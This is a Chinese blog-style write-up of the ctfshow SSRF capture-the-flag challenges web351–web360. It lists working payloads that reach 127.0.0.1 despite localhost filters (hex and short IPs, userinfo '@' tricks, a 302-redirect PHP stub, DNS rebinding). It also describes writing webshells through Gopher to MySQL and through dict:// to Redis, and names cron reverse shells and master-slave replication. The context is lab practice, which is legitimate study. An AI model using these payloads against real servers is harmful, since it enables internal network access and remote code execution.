前言
开始学习SSRF,学习文章:
SSRF 学习记录(需要fq)
比较简单的题目就直接放payload了,不做解释。
web351
url=http://127.0.0.1/flag.php
web352
scheme必须是http或者https,但是不能有127.0.0.1或者localhost。这个绕过技巧很多了,列具一些常用的吧:
- 进制绕过
url=http://0x7F000001/flag.php
- 0.0.0.0绕过
url=http://0.0.0.0/flag.php
- 短标签绕过,但是这题我测试失败了,可能是我短标签的问题?
- ipv6绕过[::1],这题也不行。
- 使用句号绕过:
url=http://127。0。0。1/flag.php
,这题也不行。 - 特殊的地址0,
url=http://0/flag.php
,还有url=http://127.1/flag.php
,还有url=http://127.0000000000000.001/flag.php
这样的。 - dns重绑定其实也能用在这里,不过这题好像不行?不知道是不是我DNS的那个有问题。
- 可能还有吧,想到了再补上。
web353
同上。
web354
把0和1都给ban了就不知道该怎么办了,看了一下yu师傅的博客,这题的本意是unicode的替换:
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
#print(res)
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
IDNA(Internationalizing Domain Names in Applications)应用程序国际化域名
IDNA是一种以标准方式处理ASCII以外字符的一种机制,它从unicode中提取字符,并允许非ASCII码字符以允许使用的ASCII字符表示。 国际化域名(IDN)最初是由马丁·杜斯特于1996年12月提出。1998年在新加坡国立大学教授陈定炜的指导下,Tan Juay
Kwang和Leong Kok
Yong将其付诸实施。经过许多讨论和对比各种提案后,应用程序国际化域名(IDNA)被采纳为正式标准,并被用在许多顶级域名中。在IDNA中,“国际化域名”特指可以成功将IDNA转化为十进位制ASCII的域名。
但是这题不行,很烦,所以就用自己的域名,让他解析到127.0.0.1来用。
或者用yu师傅说的这个:http://sudo.cc/
,这就是个解析到127.0.0.1的域名,直接用即可。
web355
增加了这个限制:if ((strlen($host) <= 5)) {
,127.1肯定是可以的。0也是可以的。
url=http://0/flag.php
web356
url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
web357
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
可以利用302跳转或者dns重绑定,302跳转从羽师傅那里学习到了个新姿势,在自己vps那里写个:
<?php
header("Location:http://127.0.0.1/flag.php");
然后访问http://xxx.xxx.xxx.xxx/xxx.php
就可以了,学习了。
dns重绑定就用这个:dns重绑定
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
url必须以http://ctf.开头,必须以show结尾。
以show结尾比较好办,要么#show
,要么?a=show
这样的都可以。
以http://ctf.开头的话,加上一个@127.0.0.1
就可以绕过了,这样parse_url解析出来的host是127.0.0.1,考虑到ftp:ftp://user[:pass]@ip[:port]/path
,因此前面的ctf.会被解析成user。
url=http://ctf.@127.0.0.1/flag.php#show
web359
打mysql,具体原理前言中的文章也讲到了,但是真正手打的话还是很麻烦的,需要本地执行mysql语句,然后wireshark抓包,然后再构造gopher,比较麻烦,这里直接用ssrf的万能工具:
Gopherus
使用python2,具体操作github上也说的很清楚,–help也可以查。
这题的ssrf点是这里:
returl即是ssrf的点,但是这题没有回显,所以写shell:
把得到的结果的_后面再url编码一次:
shell就写好了,然后RCE就可以找到flag了。
web360
ssrf打redis,基本上四种攻击方式:
- 写webshell
- 写ssh公钥
- 写contrab计划任务反弹shell
- 主从复制
这题肯定是写shell了,先利用dict探测一下端口,看看6379存不存在,如果目标的redis换端口了,就利用dict协议来探测:
具体打redis的原理参考这篇文章:
浅析Redis中SSRF的利用
别盲目用gopherus工具,先理解原理。
这题我不用gopherus工具,熟悉一下手打。
先看一下要不要认证:
这题不需要,需要的话就拿bp爆一下:
url=dict://127.0.0.1:6379/auth:xxx
用:来代替空格。
设置一下dir,即本地数据库存放目录:
写马,可能会有转义或者过滤的情况,所以用16进制一般都能写成功。:
设置文件:
保存:
再访问,写入成功:
寻找flag即可。
要写怎么都写不进去shell,就需要试试主从复制了。